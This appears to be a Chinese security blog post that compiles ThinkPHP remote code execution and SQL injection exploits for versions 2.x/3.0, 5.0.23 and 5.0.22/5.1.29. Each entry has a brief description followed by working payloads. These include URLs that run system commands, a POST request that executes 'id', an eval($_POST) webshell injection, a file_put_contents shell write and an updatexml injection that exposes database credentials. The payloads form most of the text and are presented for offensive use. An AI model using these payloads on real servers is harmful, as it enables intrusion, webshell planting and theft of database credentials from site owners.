【攻防实战】ThinkPHP-RCE集锦

【攻防实战】ThinkPHP-RCE集锦

原创 儒道易行 儒道易行 2025-05-30 12:00

善恶终有报,天道好轮回;不信抬头看,苍天饶过谁

ThinkPHP 2.x RCE漏洞

0、漏洞描述

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

1、查询phpinfo()

/index.php?s=/index/index/xxx/${phpinfo()}

2、任意代码执行

index.php?s=/index/index/xxx/${system(whoami)}

3、Getshell

/index.php/module/action/param1/$%7B@print(eval($_POST['1']))%7D

蚁剑连接:

ThinkPHP5 5.0.23 RCE漏洞

0、漏洞描述

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

1、成功执行id命令

发送数据包:

POST /index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

2、工具验证

ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

0、漏洞原理

漏洞原理说明:

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

1、SQL注入

信息成功被爆出:

/index.php?ids[0,updatexml(0,concat(0xa,user0),0)]=1

2、敏感信息泄露

通过DEBUG页面,找到了数据库的账号、密码:

/index.php?ids[0,updatexml(0,concat(0xa,user0),0)]=1

这属于一个敏感信息泄露漏洞。

3、工具验证

Thinkphp 5 5.0.22&5.1.29 RCE漏洞

0、漏洞概述

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

1、执行phpinfo

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

2、尝试执行系统命令

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd

3、写入shell文件

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=......

蚁剑连接:

工具验证

攻防交流群

声明

文笔生疏,措辞浅薄,敬请各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。